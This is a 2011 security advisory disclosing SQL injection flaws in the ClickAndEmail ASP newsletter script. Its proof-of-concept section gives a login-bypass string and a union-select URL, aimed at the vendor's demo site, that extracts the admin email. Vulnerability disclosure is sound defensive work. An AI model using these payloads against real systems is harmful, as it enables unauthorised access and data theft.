Click&Email - Multiple SQL Injection Vulnerabilities

Document Title:
===============
Click&Email - Multiple SQL Injection Vulnerabilities



Release Date:
=============
2011-07-04


Vulnerability Laboratory ID (VL-ID):
====================================
219


Product & Service Introduction:
===============================
ClickAndEmail is a full featured ASP script to run your professional Newsletter management. It includes unlimited Newsletter Groups which allows you to handle subscribers of different sites or homepages, a HTML Newsletter form generator with color picker and a save-option for further use. Sends emails either as plain text or HTML formated to all subscribers or only to members of a certain group or to one selected member only. 

ClickAndEmail also includes a double opt-in; the subscriber needs to confirm the subscription before they are finally added to the list. The subscriber can opt-out by clicking on a link in the initial email or by entering their email address on the subscription form. Admin writes the Newsletter online and sends it in either HTML or Text format.


(Copy of the Vendor Homepage: http://icash.ch/index.html?ClickAndBanexDemo/default.html)


Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered multiple SQL Injection vulnerability on the ClickAndEmail Application.


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
Multiple SQL Injection Vulnerabilities are detected on the Click&Email App.
The sql injection vulnerability allows an attacker to inject/execute own sql statements on the application dbms.

Vulnerable Page(s):
				[+] admin_dblayers.asp
				[+] admin_loginCheck.asp


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers. For demonstration or reproduce ...

Example (Authentification Bypass) :
http://icash.ch/ClickAndEmailDemo/admin.asp
User : ' or '1'='1
Pass : ' or '1'='1


Example :
http://icash.ch/ClickAndEmailDEMO/admin_dblayers.asp?action=update&tablename=Subscribers&redir=admin_subscribers.asp&ID=7%27
http://icash.ch/ClickAndEmailDEMO/admin_dblayers.asp?action=update&tablename=Subscribers&redir=admin_subscribers.asp&ID=7'

PoC:
http://icash.ch/ClickAndEmailDEMO/admin_dblayers.asp?action=update&tablename=Subscribers&redir=admin_subscribers.asp&ID=7+union+select+1,2,3,4,5,6,AdminEmail+from+admin#
==> The Email is shown in the Comment field !


Security Risk:
==============
The security risk of the sql injection vulnerability is estimated as high.


Credits & Authors:
==================
Vulnerability Research Laboratory


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=========================
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